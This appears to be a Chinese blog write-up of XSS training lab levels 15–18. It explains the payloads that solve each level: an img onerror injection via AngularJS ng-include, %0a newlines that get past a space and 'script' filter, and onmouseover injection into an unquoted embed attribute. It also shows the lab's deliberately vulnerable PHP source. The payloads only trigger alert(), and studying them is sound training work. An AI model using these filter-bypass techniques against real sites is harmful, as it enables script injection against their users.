level15
看了一下源码,啥也没发现;
AngularJS ng-include 指令:
包含的内容将作为指定元素的子节点。
ng-include
属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
指向“https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js”的 <script> 加载失败
更换为:
https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
src=‘level1.php?name=test<img src=1 onerror=alert()>‘
level16
<a%0atype="text"%0a"alert">
用换行符%0a取代空格,在html中同样可以运行
<img%0asrc="1.jpg"%0aonerror="alert(1)">
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo "<center>".$str5."</center>"; ?> <center><img src=level16.png></center> <?php
过滤了,空格,script和/
level17
<embed src=xsf01.swf?a=b width=100% heigth=100%>
看到了关键的一句
<embed>
元素将外部内容嵌入文档中的指定位置。此内容由外部应用程序或其他交互式内容源(如浏览器插件)提供。
在embed标签中,src的属性值没有引号,所以在输入arg02时在b之后加一个空格,浏览器到b就停止判断,给src加上双引号;而将onmouseover看作另外一个属性
onmouseover=alert(‘xss‘)
<embed src="xsf01.swf?a=b" onmouseover="alert(‘xss‘)" heigth="100%" width="100%">
后台源码:
<?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?>
Level18
http://localhost/xss/level18.php?arg01=a&arg02=b%20onmouseover=alert()
<embed src="xsf02.swf?a=b" onmouseover="alert()" heigth="100%" width="100%">
原文地址:https://www.cnblogs.com/delongzhang/p/12219048.html
时间: 2024-10-31 23:15:07